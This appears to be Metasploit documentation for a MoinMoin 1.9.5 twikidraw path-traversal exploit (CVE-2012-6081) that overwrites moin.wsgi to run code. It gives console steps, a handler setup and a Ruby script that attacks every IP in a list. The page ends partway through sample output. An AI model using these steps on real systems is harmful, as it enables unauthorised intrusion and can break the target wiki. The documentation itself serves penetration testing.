List of CVEs: CVE-2012-6081

This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability exists on the manage of the twikidraw actions, where a traversal path can be used in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi configurations by overwriting moin.wsgi, which allows to execute arbitrary python code, as exploited in the wild on July, 2012. This module is "ManualRanking," and the user is warned to use this module at his own risk since it will overwrite the moin.wsgi file, required for the correct working of the MoinMoin wiki. While the exploit will try to restore the attacked application at post exploitation, successful restoration cannot be guaranteed.

Module Ranking and Traits

Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

Using moinmoin_twikidraw against a single host

Normally, you can use exploit/unix/webapp/moinmoin_twikidraw this way:

msf > use exploit/unix/webapp/moinmoin_twikidraw
msf exploit(moinmoin_twikidraw) > show targets
    ... a list of targets ...
msf exploit(moinmoin_twikidraw) > set TARGET target-id
msf exploit(moinmoin_twikidraw) > show options
    ... show and set options ...
msf exploit(moinmoin_twikidraw) > exploit

Using moinmoin_twikidraw against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your moinmoin_twikidraw will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/webapp/moinmoin_twikidraw")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
